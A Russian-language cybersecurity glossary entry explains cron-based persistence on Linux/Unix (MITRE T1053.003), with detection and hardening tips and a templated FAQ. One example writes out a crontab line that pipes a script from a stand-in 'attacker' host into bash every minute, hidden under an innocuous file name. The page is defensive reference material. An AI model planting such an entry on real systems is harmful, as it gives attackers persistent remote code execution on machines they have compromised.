Skip to content
Vol. 1 · Ed. 2026
CyberGlossary
Русский
Entry № 238

Закрепление через cron

Что такое Закрепление через cron?

Закрепление через cronТехника закрепления в Linux/Unix, использующая cron, anacron или таймеры systemd для повторного запуска кода злоумышленника по расписанию или системному событию.

Закрепление через cron (MITRE ATT&CK T1053.003) направлено на демон cron Unix и его варианты (anacron, fcron, таймеры systemd). Злоумышленники добавляют записи в /etc/crontab, /etc/cron.d/, /etc/cron.{hourly,daily,weekly,monthly}/ или в пользовательские crontab (crontab -e). Типичные пейлоады — однострочные reverse shell, скачивание через curl и пайпы, скрипты в /tmp. Поскольку cron работает как root или владелец задачи, метод надёжен и легко разворачивается после первоначального доступа. Обнаружение: контроль целостности каталогов cron, правила auditd, базовая инвентаризация заданий и EDR-оповещения на оболочки, порождённые cron. Усиление: ограничение членства в crontab, монтирование /tmp с noexec, аудит systemd-cron, где доступно.

● Примеры

  1. 01

    Запись * * * * * curl -s http://attacker/sh | bash в /etc/cron.d/update.

  2. 02

    Скрипт в /etc/cron.hourly/, ежечасно восстанавливающий reverse shell.

● Частые вопросы

Что такое Закрепление через cron?

Техника закрепления в Linux/Unix, использующая cron, anacron или таймеры systemd для повторного запуска кода злоумышленника по расписанию или системному событию. Относится к категории Атаки и угрозы в кибербезопасности.

Что означает Закрепление через cron?

Техника закрепления в Linux/Unix, использующая cron, anacron или таймеры systemd для повторного запуска кода злоумышленника по расписанию или системному событию.

Как работает Закрепление через cron?

Закрепление через cron (MITRE ATT&CK T1053.003) направлено на демон cron Unix и его варианты (anacron, fcron, таймеры systemd). Злоумышленники добавляют записи в /etc/crontab, /etc/cron.d/, /etc/cron.{hourly,daily,weekly,monthly}/ или в пользовательские crontab (crontab -e). Типичные пейлоады — однострочные reverse shell, скачивание через curl и пайпы, скрипты в /tmp. Поскольку cron работает как root или владелец задачи, метод надёжен и легко разворачивается после первоначального доступа. Обнаружение: контроль целостности каталогов cron, правила auditd, базовая инвентаризация заданий и EDR-оповещения на оболочки, порождённые cron. Усиление: ограничение членства в crontab, монтирование /tmp с noexec, аудит systemd-cron, где доступно.

Как защититься от Закрепление через cron?

Защита от Закрепление через cron обычно сочетает технические меры и операционные практики, как описано в определении выше.

Какие есть другие названия Закрепление через cron?

Распространённые альтернативные названия: Закрепление через crontab, Закрепление через anacron.

● Связанные термины